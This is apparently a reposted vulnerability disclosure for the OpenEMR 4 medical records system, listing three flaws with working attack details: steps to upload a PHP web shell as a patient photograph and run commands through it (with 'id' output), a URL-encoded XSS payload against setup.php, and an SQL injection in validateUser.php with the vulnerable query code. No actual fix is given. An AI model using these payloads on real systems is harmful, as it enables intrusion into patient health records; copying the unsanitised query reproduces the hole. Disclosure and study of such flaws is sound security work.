OpenEMR 4 多个缺陷及修复 - 网站安全 - 自学php

 

OpenEMR 4 (Level @ Smash The Stack) 

 

Summary: Patient Photograph Arbitrary File Upload 

 

 

Initial Comment: 

 

1. Login with valid User/Pass 

 

2. Patient/Client -> Search/New Patient (search for anything) 

 

3. Click Documents -> Patient Photograph 

 

4. Upload Shell 

 

URL: http://HdhCmsTest2cto测试数据 /openemr/sites/SITENAME/documents/PATIENTID/shell.php.jpg?cmd=id 

 

 

EX: http://HdhCmsTest2cto测试数据 /oe/sites/default/documents/1/shell.php.jpg?cmd=id 

 

 

Output: uid=48(apache) gid=48(apache) groups=48(apache) 

 

  

 

first installed SITENAME = default 

 

first installed PATIENTID = 1 

  

 

OpenEMR 4 (Level @ Smash The Stack) 

 

XSS 

 

http://HdhCmsTest2cto测试数据 /oe/setup.php?site=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E 

 

 

OpenEMR 4 (Level @ Smash The Stack) 

 

Summary: validateUser.php SQL Injection 

 

Initial Comment: 

 

http://HdhCmsTest2cto测试数据 /oe/interface/login/validateUser.php?u=test' 

 

 

validateUser.php: 

 

$user = $_GET['u']; 

 

$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");

 

HdhCmsTest2cto测试数据修复：

分析够具体了

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